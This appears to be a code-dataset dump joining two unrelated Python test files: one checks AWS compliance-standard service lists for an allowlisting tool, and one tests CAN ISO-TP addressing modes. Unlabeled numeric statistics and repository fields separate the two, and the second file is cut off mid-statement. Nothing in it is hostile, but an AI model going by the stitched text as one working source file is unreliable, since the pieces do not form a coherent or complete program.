import unittest import json from aws_allowlister.database.database import connect_db from aws_allowlister.database.transformed_scraping_data import TransformedScrapingData db_session = connect_db() transformed_scraping_database = TransformedScrapingData() class TransformedDataTestCase(unittest.TestCase): def test_get_rows(self): """database.scrapers.transformed_scraping_data.get_rows""" results = transformed_scraping_database.get_rows(db_session=db_session, service_prefix="s3") # print(json.dumps(results, indent=4)) print(len(results)) # 8 results = transformed_scraping_database.get_rows(db_session=db_session, standard="SOC") # print(json.dumps(results, indent=4)) print(len(results)) # 146 results = transformed_scraping_database.get_rows(db_session=db_session, service_name="Amazon Simple Storage Service") # print(json.dumps(results, indent=4)) print(len(results)) # 8 def test_get_service_names_matching_compliance_standard(self): """database.scrapers.transformed_scraping_data.get_service_names_matching_compliance_standard""" standard_name = "SOC" results = transformed_scraping_database.get_sdk_names_matching_compliance_standard(db_session, "SOC") # print(results) expected_results = {'appstream': 'Amazon AppStream 2.0', 'athena': 'Amazon Athena', 'chime': 'Amazon Chime', 'clouddirectory': 'Amazon Cloud Directory', 'cloudfront': 'Amazon CloudFront', 'cloudwatch': 'Amazon CloudWatch', 'logs': 'Amazon CloudWatch Logs', 'sdkmetrics': 'Amazon CloudWatch SDK Metrics for Enterprise Support', 'comprehend': 'Amazon Comprehend Medical', 'dynamodb': 'Amazon DynamoDB', 'ebs': 'Amazon Elastic Block Store', 'ecr': 'Amazon Elastic Container Registry', 'ecs': 'Amazon Elastic Container Service', 'elasticfilesystem': 'Amazon Elastic File System', 'eks': 'Amazon Elastic Kubernetes Service', 'elasticmapreduce': 'Amazon Elastic MapReduce', 'elasticache': 'Amazon ElastiCache for Redis', 'es': 'Amazon Elasticsearch Service', 'forecast': 'Amazon Forecast', 'freertos': 'Amazon FreeRTOS', 'fsx': 'Amazon FSx', 'guardduty': 'Amazon GuardDuty', 'inspector': 'Amazon Inspector', 'kinesisanalytics': 'Amazon Kinesis Data Analytics', 'firehose': 'Amazon Kinesis Data Firehose', 'kinesisvideo': 'Amazon Kinesis Video Streams', 'lex': 'Amazon Lex', 'mq': 'Amazon MQ', 'neptune-db': 'Amazon Neptune', 'personalize': 'Amazon Personalize', 'polly': 'Amazon Polly', 'quicksight': 'Amazon QuickSight', 'redshift': 'Amazon Redshift', 'rekognition': 'Amazon Rekognition', 'route53': 'Amazon Route 53', 'glacier': 'Amazon S3 Glacier', 'sagemaker': 'Amazon SageMaker', 'sdb': 'Amazon SimpleDB', 'swf': 'Amazon Simple Workflow Service', 'textract': 'Amazon Textract', 'transcribe': 'Amazon Transcribe', 'translate': 'Amazon Translate', 'workdocs': 'Amazon WorkDocs', 'worklink': 'Amazon WorkLink', 'workmail': 'Amazon WorkMail', 'workspaces': 'Amazon WorkSpaces', 'appsync': 'AWS AppSync', 'backup': 'AWS Backup', 'batch': 'AWS Batch', 'acm': 'AWS Certificate Manager', 'cloudformation': 'AWS CloudFormation', 'cloudhsm': 'AWS CloudHSM', 'cloudtrail': 'AWS CloudTrail', 'codebuild': 'AWS CodeBuild', 'codecommit': 'AWS CodeCommit', 'codedeploy': 'AWS CodeDeploy', 'codepipeline': 'AWS CodePipeline', 'config': 'AWS Config', 'controltower': 'AWS Control Tower', 'dataexchange': 'AWS Data Exchange', 'dms': 'AWS Database Migration Service', 'directconnect': 'AWS Direct Connect', 'ds': 'AWS Directory Service', 'elasticbeanstalk': 'AWS Elastic Beanstalk', 'mediaconnect': 'AWS Elemental MediaConnect', 'mediaconvert': 'AWS Elemental MediaConvert', 'medialive': 'AWS Elemental MediaLive', 'fms': 'AWS Firewall Manager', 'globalaccelerator': 'AWS Global Accelerator', 'iam': 'AWS Identity and Access Management', 'iotevents': 'AWS IoT Events', 'greengrass': 'AWS IoT Greengrass', 'kms': 'AWS Key Management Service', 'lambda': 'AWS Lambda', 'license-manager': 'AWS License Manager', 'opsworks-cm': 'AWS OpsWorks Stacksfor Chef Automate', 'organizations': 'AWS Organizations', 'outposts': 'AWS Outposts', 'resource-groups': 'AWS Resource Groups', 'robomaker': 'AWS RoboMaker', 'secretsmanager': 'AWS Secrets Manager', 'securityhub': 'AWS Security Hub', 'sms': 'AWS Server Migration Service', 'serverlessrepo': 'AWS Serverless Application Repository', 'servicecatalog': 'AWS Service Catalog', 'shield': 'AWS Shield', 'snowball': 'AWS Snowball', 'states': 'AWS Step Functions', 'ssm': 'AWS Systems Manager', 'transfer': 'AWS Transfer Family', 'xray': 'AWS X-Ray', 'sms-voice': 'Amazon Pinpoint SMS and Voice Service', 'pinpoint': '', 'connectparticipant': '', 'account': 'AWS Accounts', 'aws-portal': 'AWS Billing', 'rds-data': 'Amazon RDS Data API', 'rds-db': 'Amazon RDS IAM Authentication', 'route53domains': 'Amazon Route53 Domains', 'sts': 'AWS Security Token Service', 'support': 'AWS Support', 'sso': 'AWS SSO', 'sso-directory': 'AWS SSO Directory', 'connect': 'Amazon Connect', 'ec2': 'Amazon EC2', 'macie': 'Amazon Macie', 'apigateway': 'Amazon API Gateway', 'execute-api': 'Amazon API Gateway', 'amplify': 'AWS Amplify', 'amplifybackend': 'AWS Amplify', 'waf': 'AWS Web Application Firewall', 'wafv2': 'AWS Web Application Firewall', 'waf-regional': 'AWS Web Application Firewall', 'autoscaling': 'Amazon EC2 Auto Scaling', 'application-autoscaling': 'Amazon EC2 Auto Scaling', 'health': 'AWS Personal Health Dashboard', 'events': 'Amazon CloudWatch Events', 'cognito': 'Amazon Cognito', 'cognito-idp': 'Amazon Cognito', 'cognito-identity': 'Amazon Cognito', 'cognito-sync': 'Amazon Cognito', 'comprehendmedical': 'Amazon Comprehend Medical', 'datasync': 'AWS DataSync', 'iot': 'AWS IoT Core', 'iotdeviceadvisor': 'AWS IoT Core', 'iotwireless': 'AWS IoT Core', 'iot-device-tester': 'AWS IoT Device Management', 'kinesis': 'Amazon Kinesis Data Streams', 'kafka': 'Amazon Managed Streaming for Apache Kafka', 'opsworks': 'AWS OpsWorks Stacks', 'qldb': 'Amazon Quantum Ledger Database', 'rds': 'Amazon Relational Database Service', 'ses': 'Amazon Simple Email Service', 'sns': 'Amazon Simple Notification Service', 'sqs': 'Amazon Simple Queue Service', 's3': 'Amazon Simple Storage Service', 'storagegateway': 'AWS Storage Gateway', 'elasticloadbalancing': 'Elastic Load Balancing', 'glue': 'AWS Glue', 'lakeformation': 'AWS Glue', 'macie2': 'Amazon Macie'} def test_get_sdk_names_matching_compliance_standard(self): """database.scrapers.transformed_scraping_data.get_sdk_names_matching_compliance_standard""" results = transformed_scraping_database.get_sdk_names_matching_compliance_standard(db_session, "SOC") # print(json.dumps(results, indent=4)) expected_results = { "appstream": "Amazon AppStream 2.0", "athena": "Amazon Athena", "chime": "Amazon Chime", "clouddirectory": "Amazon Cloud Directory", "cloudfront": "Amazon CloudFront", "cloudwatch": "Amazon CloudWatch", "logs": "Amazon CloudWatch Logs", "sdkmetrics": "Amazon CloudWatch SDK Metrics for Enterprise Support", "comprehend": "Amazon Comprehend Medical", "dynamodb": "Amazon DynamoDB", "ecr": "Amazon Elastic Container Registry", "ecs": "Amazon Elastic Container Service", "elasticfilesystem": "Amazon Elastic File System", "eks": "Amazon Elastic Kubernetes Service", "elasticmapreduce": "Amazon Elastic MapReduce", "elasticache": "Amazon ElastiCache for Redis", "es": "Amazon Elasticsearch Service", "freertos": "Amazon FreeRTOS", "fsx": "Amazon FSx", "guardduty": "Amazon GuardDuty", "inspector": "Amazon Inspector", "kinesisanalytics": "Amazon Kinesis Data Analytics", "firehose": "Amazon Kinesis Data Firehose", "kinesisvideo": "Amazon Kinesis Video Streams", "macie": "Amazon Macie", "mq": "Amazon MQ", "neptune-db": "Amazon Neptune", "personalize": "Amazon Personalize", "polly": "Amazon Polly", "quicksight": "Amazon QuickSight", "redshift": "Amazon Redshift", "rekognition": "Amazon Rekognition", "route53": "Amazon Route 53", "glacier": "Amazon S3 Glacier", "sagemaker": "Amazon SageMaker", "sdb": "Amazon SimpleDB", "swf": "Amazon Simple Workflow Service", "textract": "Amazon Textract", "transcribe": "Amazon Transcribe", "translate": "Amazon Translate", "workdocs": "Amazon WorkDocs", "worklink": "Amazon WorkLink", "workmail": "Amazon WorkMail", "workspaces": "Amazon WorkSpaces", "appsync": "AWS AppSync", "backup": "AWS Backup", "batch": "AWS Batch", "acm": "AWS Certificate Manager", "cloudformation": "AWS CloudFormation", "cloudhsm": "AWS CloudHSM", "cloudtrail": "AWS CloudTrail", "codebuild": "AWS CodeBuild", "codecommit": "AWS CodeCommit", "codedeploy": "AWS CodeDeploy", "codepipeline": "AWS CodePipeline", "config": "AWS Config", "controltower": "AWS Control Tower", "dataexchange": "AWS Data Exchange", "dms": "AWS Database Migration Service", "directconnect": "AWS Direct Connect", "ds": "AWS Directory Service", "elasticbeanstalk": "AWS Elastic Beanstalk", "mediaconnect": "AWS Elemental MediaConnect", "mediaconvert": "AWS Elemental MediaConvert", "medialive": "AWS Elemental MediaLive", "fms": "AWS Firewall Manager", "globalaccelerator": "AWS Global Accelerator", "glue": "AWS Glue", "iam": "AWS Identity and Access Management", "iotevents": "AWS IoT Events", "greengrass": "AWS IoT Greengrass", "kms": "AWS Key Management Service", "lambda": "AWS Lambda", "license-manager": "AWS License Manager", "opsworks-cm": "AWS OpsWorks Stacksfor Chef Automate", "organizations": "AWS Organizations", "outposts": "AWS Outposts", "resource-groups": "AWS Resource Groups", "robomaker": "AWS RoboMaker", "secretsmanager": "AWS Secrets Manager", "securityhub": "AWS Security Hub", "sms": "AWS Server Migration Service", "serverlessrepo": "AWS Serverless Application Repository", "servicecatalog": "AWS Service Catalog", "shield": "AWS Shield", "DDoSProtection": "AWS Shield", "snowball": "AWS Snowball", "states": "AWS Step Functions", "ssm": "AWS Systems Manager", "transfer": "AWS Transfer Family", "xray": "AWS X-Ray", "sms-voice": "Amazon Pinpoint SMS and Voice Service", "pinpoint": "", "lex": "Amazon Lex", "connectparticipant": "", "ebs": "Amazon Elastic Block Store", "forecast": "Amazon Forecast", "account": "AWS Accounts", "aws-portal": "AWS Billing", "rds-data": "Amazon RDS Data API", "rds-db": "Amazon RDS IAM Authentication", "route53domains": "Amazon Route53 Domains", "sts": "AWS Security Token Service", "support": "AWS Support", "sso": "AWS SSO", "sso-directory": "AWS SSO Directory", "connect": "Amazon Connect", "ec2": "Amazon EC2", "apigateway": "Amazon API Gateway", "execute-api": "Amazon API Gateway", "amplify": "AWS Amplify", "amplifybackend": "AWS Amplify", "waf": "AWS Web Application Firewall", "wafv2": "AWS Web Application Firewall", "waf-regional": "AWS Web Application Firewall", "autoscaling": "Amazon EC2 Auto Scaling", "application-autoscaling": "Amazon EC2 Auto Scaling", "health": "AWS Personal Health Dashboard", "events": "Amazon CloudWatch Events", "cognito": "Amazon Cognito", "cognito-idp": "Amazon Cognito", "cognito-identity": "Amazon Cognito", "comprehendmedical": "Amazon Comprehend Medical", "datasync": "AWS DataSync", "iot": "AWS IoT Core", "iotdeviceadvisor": "AWS IoT Core", "iotwireless": "AWS IoT Core", "iot-device-tester": "AWS IoT Device Management", "kinesis": "Amazon Kinesis Data Streams", "kafka": "Amazon Managed Streaming for Apache Kafka", "opsworks, opsworks-cm": "AWS OpsWorks Stacks", "qldb": "Amazon Quantum Ledger Database", "rds": "Amazon Relational Database Service", "ses": "Amazon Simple Email Service", "sns": "Amazon Simple Notification Service", "sqs": "Amazon Simple Queue Service", "s3": "Amazon Simple Storage Service", "storagegateway": "AWS Storage Gateway", "elasticloadbalancing": "Elastic Load Balancing" } print(len(results))

76.375

5,074

0.635992

1,315

13,442

6.443346

0.203042

0.018411

0.01912

0.021952

0.927889

0.921751

0.911366

0.902868

0.897793

0

0.004319

0.224818

13,442

175

5,075

76.811429

0.808829

0.029906

0

0.037037

0

0.603288

0.003534

0

1

0.018519

false

0

0.024691

0

0.049383

0.024691

0

null

0

1

0

1

0

1

0

null

0

8

e85bd1e1ab5adab118e50786a3e29e3d11ee2545

34,862

py

Python

test/test_addressing_modes.py

giovanni-superpedestrian/python-can-isotp

bd50a81cee9c5fc44b228e8ee86706acae8f2f32

[ "MIT" ]

null

test/test_addressing_modes.py

giovanni-superpedestrian/python-can-isotp

bd50a81cee9c5fc44b228e8ee86706acae8f2f32

[ "MIT" ]

null

test/test_addressing_modes.py

giovanni-superpedestrian/python-can-isotp

bd50a81cee9c5fc44b228e8ee86706acae8f2f32

[ "MIT" ]

null

import unittest from .TransportLayerBaseTest import TransportLayerBaseTest from . import unittest_logging import isotp Message = isotp.CanMessage # We check that addressing modes have the right effect on payloads. class TestAddressingMode(TransportLayerBaseTest): def setUp(self): self.init_test_case() def test_create_address(self): isotp.Address(isotp.AddressingMode.Normal_11bits, txid=1, rxid=2) isotp.Address(isotp.AddressingMode.Normal_29bits, txid=1, rxid=2) isotp.Address(isotp.AddressingMode.NormalFixed_29bits, source_address=1, target_address=2) isotp.Address(isotp.AddressingMode.Extended_11bits, txid=1, rxid=2, target_address=3) isotp.Address(isotp.AddressingMode.Extended_29bits, txid=1, rxid=2, target_address=3) isotp.Address(isotp.AddressingMode.Mixed_11bits, txid=1, rxid=2, address_extension=3) isotp.Address(isotp.AddressingMode.Mixed_29bits, source_address=1, target_address=2, address_extension=3) def test_single_frame_only_function_tatype(self): tatype = isotp.TargetAddressType.Functional address = isotp.Address(isotp.AddressingMode.Normal_11bits, txid=1, rxid=2) layer = isotp.TransportLayer(txfn=self.stack_txfn, rxfn=self.stack_rxfn, address=address) layer.send(self.make_payload(7), tatype) with self.assertRaises(ValueError): layer.send(self.make_payload(8), tatype) address = isotp.Address(isotp.AddressingMode.Normal_29bits, txid=1, rxid=2) layer = isotp.TransportLayer(txfn=self.stack_txfn, rxfn=self.stack_rxfn, address=address) layer.send(self.make_payload(7), tatype) with self.assertRaises(ValueError): layer.send(self.make_payload(8), tatype) address = isotp.Address(isotp.AddressingMode.NormalFixed_29bits, source_address=1, target_address=2) layer = isotp.TransportLayer(txfn=self.stack_txfn, rxfn=self.stack_rxfn, address=address) layer.send(self.make_payload(7), tatype) with self.assertRaises(ValueError): layer.send(self.make_payload(8), tatype) address = isotp.Address(isotp.AddressingMode.Extended_11bits, txid=1, rxid=2, target_address=3) layer = isotp.TransportLayer(txfn=self.stack_txfn, rxfn=self.stack_rxfn, address=address) layer.send(self.make_payload(6), tatype) with self.assertRaises(ValueError): layer.send(self.make_payload(7), tatype) address = isotp.Address(isotp.AddressingMode.Extended_29bits, txid=1, rxid=2, target_address=3) layer = isotp.TransportLayer(txfn=self.stack_txfn, rxfn=self.stack_rxfn, address=address) layer.send(self.make_payload(6), tatype) with self.assertRaises(ValueError): layer.send(self.make_payload(7), tatype) address = isotp.Address(isotp.AddressingMode.Mixed_11bits, txid=1, rxid=2, address_extension=3) layer = isotp.TransportLayer(txfn=self.stack_txfn, rxfn=self.stack_rxfn, address=address) layer.send(self.make_payload(6), tatype) with self.assertRaises(ValueError): layer.send(self.make_payload(7), tatype) address = isotp.Address(isotp.AddressingMode.Mixed_29bits, source_address=1, target_address=2, address_extension=3) layer = isotp.TransportLayer(txfn=self.stack_txfn, rxfn=self.stack_rxfn, address=address) layer.send(self.make_payload(6), tatype) with self.assertRaises(ValueError): layer.send(self.make_payload(7), tatype) def test_11bits_normal_basic(self): rxid = 0x123 txid = 0x456 address = isotp.Address(isotp.AddressingMode.Normal_11bits, txid=txid, rxid=rxid) self.assertTrue(address.is_for_me(Message(arbitration_id=rxid))) self.assertFalse(address.is_for_me(Message(arbitration_id=rxid, extended_id=True))) self.assertFalse(address.is_for_me(Message(arbitration_id=rxid+1))) self.assertEqual(address.get_tx_arbitraton_id(isotp.TargetAddressType.Physical), txid) self.assertEqual(address.get_tx_arbitraton_id(isotp.TargetAddressType.Functional), txid) self.assertEqual(address.get_rx_arbitraton_id(isotp.TargetAddressType.Physical), rxid) self.assertEqual(address.get_rx_arbitraton_id(isotp.TargetAddressType.Functional), rxid) def test_11bits_normal_through_layer(self): functional = isotp.TargetAddressType.Functional physical = isotp.TargetAddressType.Physical rxid = 0x123 txid = 0x456 address = isotp.Address(isotp.AddressingMode.Normal_11bits, txid=txid, rxid=rxid) layer = isotp.TransportLayer(txfn=self.stack_txfn, rxfn=self.stack_rxfn, address=address, params={'stmin':0, 'blocksize':0}) # Receive Single frame - Physical self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([0x03, 0x01, 0x02, 0x03]), extended_id=False)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03') # Receive Single frame - Functional layer.reset() self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([0x03, 0x01, 0x02, 0x03]), extended_id=False)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03') # Receive multiframe - Physical layer.reset() self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([0x10, 0x08, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06]), extended_id=False)) layer.process() self.assert_sent_flow_control(stmin=0, blocksize=0) self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([0x21, 0x07, 0x08]), extended_id=False)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03\x04\x05\x06\x07\x08') #Transmit single frame - Physical / Functional layer.reset() layer.send(b'\x04\x05\x06', physical) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([0x03, 0x04, 0x05, 0x06])) self.assertFalse(msg.is_extended_id) # Transmit multiframe - Physical layer.reset() layer.send(b'\x04\x05\x06\x07\x08\x09\x0A\x0B', physical) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([0x10, 0x08, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09])) self.assertFalse(msg.is_extended_id) self.simulate_rx_msg(Message(arbitration_id=rxid, data=self.make_flow_control_data(flow_status=0, stmin=0, blocksize=0), extended_id=False)) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([0x21, 0x0A, 0x0B])) self.assertFalse(msg.is_extended_id) def test_29bits_normal_basic(self): rxid = 0x123456 txid = 0x789ABC address = isotp.Address(isotp.AddressingMode.Normal_29bits, txid=txid, rxid=rxid) self.assertTrue(address.is_for_me(Message(arbitration_id=rxid, extended_id=True))) self.assertFalse(address.is_for_me(Message(arbitration_id=rxid, extended_id=False))) self.assertFalse(address.is_for_me(Message(arbitration_id=rxid+1, extended_id=True))) self.assertFalse(address.is_for_me(Message(arbitration_id=rxid+1, extended_id=False))) self.assertEqual(address.get_tx_arbitraton_id(isotp.TargetAddressType.Physical), txid) self.assertEqual(address.get_tx_arbitraton_id(isotp.TargetAddressType.Functional), txid) self.assertEqual(address.get_rx_arbitraton_id(isotp.TargetAddressType.Physical), rxid) self.assertEqual(address.get_rx_arbitraton_id(isotp.TargetAddressType.Functional), rxid) def test_29bits_normal_through_layer(self): functional = isotp.TargetAddressType.Functional physical = isotp.TargetAddressType.Physical rxid = 0x123456 txid = 0x789ABC address = isotp.Address(isotp.AddressingMode.Normal_29bits, txid=txid, rxid=rxid) layer = isotp.TransportLayer(txfn=self.stack_txfn, rxfn=self.stack_rxfn, address=address, params={'stmin':0, 'blocksize':0}) # Receive Single frame - Physical self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([0x03, 0x01, 0x02, 0x03]), extended_id=True)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03') # Receive Single frame - Functional layer.reset() self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([0x03, 0x01, 0x02, 0x03]), extended_id=True)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03') # Receive multiframe - Physical layer.reset() self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([0x10, 0x08, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06]), extended_id=True)) layer.process() self.assert_sent_flow_control(stmin=0, blocksize=0) self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([0x21, 0x07, 0x08]), extended_id=True)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03\x04\x05\x06\x07\x08') #Transmit single frame - Physical / Functional layer.reset() layer.send(b'\x04\x05\x06', physical) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([0x03, 0x04, 0x05, 0x06])) self.assertTrue(msg.is_extended_id) # Transmit multiframe - Physical layer.reset() layer.send(b'\x04\x05\x06\x07\x08\x09\x0A\x0B', physical) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([0x10, 0x08, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09])) self.assertTrue(msg.is_extended_id) self.simulate_rx_msg(Message(arbitration_id=rxid, data=self.make_flow_control_data(flow_status=0, stmin=0, blocksize=0), extended_id=True)) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([0x21, 0x0A, 0x0B])) self.assertTrue(msg.is_extended_id) def test_29bits_normal_fixed(self): ta = 0x55 sa = 0xAA rxid_physical = 0x18DAAA55 rxid_functional = 0x18DBAA55 txid_physical = 0x18DA55AA txid_functional = 0x18DB55AA address = isotp.Address(isotp.AddressingMode.NormalFixed_29bits, target_address = ta, source_address=sa) self.assertTrue(address.is_for_me(Message(rxid_physical, extended_id=True))) self.assertTrue(address.is_for_me(Message(rxid_functional, extended_id=True))) self.assertFalse(address.is_for_me(Message(txid_physical, extended_id=True))) self.assertFalse(address.is_for_me(Message(txid_functional, extended_id=True))) self.assertFalse(address.is_for_me(Message(arbitration_id=(rxid_physical) & 0x7FF, extended_id=False))) self.assertFalse(address.is_for_me(Message(arbitration_id=rxid_physical+1, extended_id=True))) self.assertFalse(address.is_for_me(Message(arbitration_id=(rxid_physical+1)&0x7FF, extended_id=False))) self.assertEqual(address.get_tx_arbitraton_id(isotp.TargetAddressType.Physical), txid_physical) self.assertEqual(address.get_tx_arbitraton_id(isotp.TargetAddressType.Functional), txid_functional) self.assertEqual(address.get_rx_arbitraton_id(isotp.TargetAddressType.Physical), rxid_physical) self.assertEqual(address.get_rx_arbitraton_id(isotp.TargetAddressType.Functional), rxid_functional) def test_29bits_normal_fixed_through_layer(self): functional = isotp.TargetAddressType.Functional physical = isotp.TargetAddressType.Physical ta = 0x55 sa = 0xAA rxid_physical = 0x18DAAA55 rxid_functional = 0x18DBAA55 txid_physical = 0x18DA55AA txid_functional = 0x18DB55AA address = isotp.Address(isotp.AddressingMode.NormalFixed_29bits, target_address = ta, source_address=sa) layer = isotp.TransportLayer(txfn=self.stack_txfn, rxfn=self.stack_rxfn, address=address, params={'stmin':0, 'blocksize':0}) # Receive Single frame - Physical self.simulate_rx_msg(Message(arbitration_id = rxid_physical, data=bytearray([0x03, 0x01, 0x02, 0x03]), extended_id=True)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03') # Receive Single frame - Functional layer.reset() self.simulate_rx_msg(Message(arbitration_id = rxid_functional, data=bytearray([0x03, 0x01, 0x02, 0x03]), extended_id=True)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03') # Receive multiframe - Physical layer.reset() self.simulate_rx_msg(Message(arbitration_id = rxid_physical, data=bytearray([0x10, 0x08, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06]), extended_id=True)) layer.process() self.assert_sent_flow_control(stmin=0, blocksize=0) self.simulate_rx_msg(Message(arbitration_id = rxid_physical, data=bytearray([0x21, 0x07, 0x08]), extended_id=True)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03\x04\x05\x06\x07\x08') #Transmit single frame - Physical layer.reset() layer.send(b'\x04\x05\x06', physical) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid_physical) self.assertEqual(msg.data, bytearray([0x03, 0x04, 0x05, 0x06])) self.assertTrue(msg.is_extended_id) #Transmit single frame - Functional layer.reset() layer.send(b'\x04\x05\x06', functional) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid_functional) self.assertEqual(msg.data, bytearray([0x03, 0x04, 0x05, 0x06])) self.assertTrue(msg.is_extended_id) # Transmit multiframe - Physical layer.reset() layer.send(b'\x04\x05\x06\x07\x08\x09\x0A\x0B', physical) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid_physical) self.assertEqual(msg.data, bytearray([0x10, 0x08, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09])) self.assertTrue(msg.is_extended_id) self.simulate_rx_msg(Message(arbitration_id=rxid_physical, data=self.make_flow_control_data(flow_status=0, stmin=0, blocksize=0), extended_id=True)) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid_physical) self.assertEqual(msg.data, bytearray([0x21, 0x0A, 0x0B])) self.assertTrue(msg.is_extended_id) def test_11bits_extended(self): txid = 0x123 rxid = 0x456 sa = 0x55 ta = 0xAA address = isotp.Address(isotp.AddressingMode.Extended_11bits, txid=txid, rxid=rxid, source_address=sa, target_address=ta) self.assertFalse(address.is_for_me(Message(rxid, extended_id=False))) # No data self.assertFalse(address.is_for_me(Message(txid, extended_id=False))) # No data, wrong id self.assertFalse(address.is_for_me(Message(rxid, data = bytearray([ta]), extended_id=False))) # wrong id self.assertTrue(address.is_for_me(Message(rxid, data = bytearray([sa]), extended_id=False))) self.assertFalse(address.is_for_me(Message(rxid, data = bytearray([sa]), extended_id=True))) self.assertFalse(address.is_for_me(Message(rxid+1, data = bytearray([sa]), extended_id=False))) self.assertFalse(address.is_for_me(Message(rxid, data = bytearray([sa+1]), extended_id=False))) self.assertEqual(address.get_tx_arbitraton_id(isotp.TargetAddressType.Physical), txid) self.assertEqual(address.get_tx_arbitraton_id(isotp.TargetAddressType.Functional), txid) self.assertEqual(address.get_rx_arbitraton_id(isotp.TargetAddressType.Physical), rxid) self.assertEqual(address.get_rx_arbitraton_id(isotp.TargetAddressType.Functional), rxid) def test_11bits_extended_through_layer(self): functional = isotp.TargetAddressType.Functional physical = isotp.TargetAddressType.Physical txid = 0x123 rxid = 0x456 sa = 0x55 ta = 0xAA address = isotp.Address(isotp.AddressingMode.Extended_11bits, txid=txid, rxid=rxid, source_address=sa, target_address=ta) layer = isotp.TransportLayer(txfn=self.stack_txfn, rxfn=self.stack_rxfn, address=address, params={'stmin':0, 'blocksize':0}) # Receive Single frame - Physical / Functional self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([sa, 0x03, 0x01, 0x02, 0x03]), extended_id=False)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03') # Receive multiframe - Physical layer.reset() self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([sa, 0x10, 0x08, 0x01, 0x02, 0x03, 0x04, 0x05]), extended_id=False)) layer.process() self.assert_sent_flow_control(prefix=[ta], stmin=0, blocksize=0) self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([sa, 0x21, 0x06, 0x07, 0x08]), extended_id=False)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03\x04\x05\x06\x07\x08') #Transmit single frame - Physical layer.reset() layer.send(b'\x04\x05\x06', physical) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([ta, 0x03, 0x04, 0x05, 0x06])) self.assertFalse(msg.is_extended_id) #Transmit single frame - Functional layer.reset() layer.send(b'\x04\x05\x06', functional) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([ta, 0x03, 0x04, 0x05, 0x06])) self.assertFalse(msg.is_extended_id) # Transmit multiframe - Physical layer.reset() layer.send(b'\x04\x05\x06\x07\x08\x09\x0A\x0B', physical) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([ta, 0x10, 0x08, 0x04, 0x05, 0x06, 0x07, 0x08])) self.assertFalse(msg.is_extended_id) self.simulate_rx_msg(Message(arbitration_id=rxid, data=self.make_flow_control_data(flow_status=0, stmin=0, blocksize=0, prefix=[sa]), extended_id=False)) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([ta, 0x21, 0x09, 0x0A, 0x0B])) self.assertFalse(msg.is_extended_id) def test_29bits_extended(self): txid = 0x123 rxid = 0x456 sa = 0x55 ta = 0xAA address = isotp.Address(isotp.AddressingMode.Extended_29bits, txid=txid, rxid=rxid, source_address=sa, target_address=ta) self.assertFalse(address.is_for_me(Message(rxid, extended_id=True))) # No data self.assertFalse(address.is_for_me(Message(txid, extended_id=True))) # No data, wrong id self.assertFalse(address.is_for_me(Message(rxid, data = bytearray([ta]), extended_id=True))) # wrong id self.assertTrue(address.is_for_me(Message(rxid, data = bytearray([sa]), extended_id=True))) self.assertFalse(address.is_for_me(Message(rxid, data = 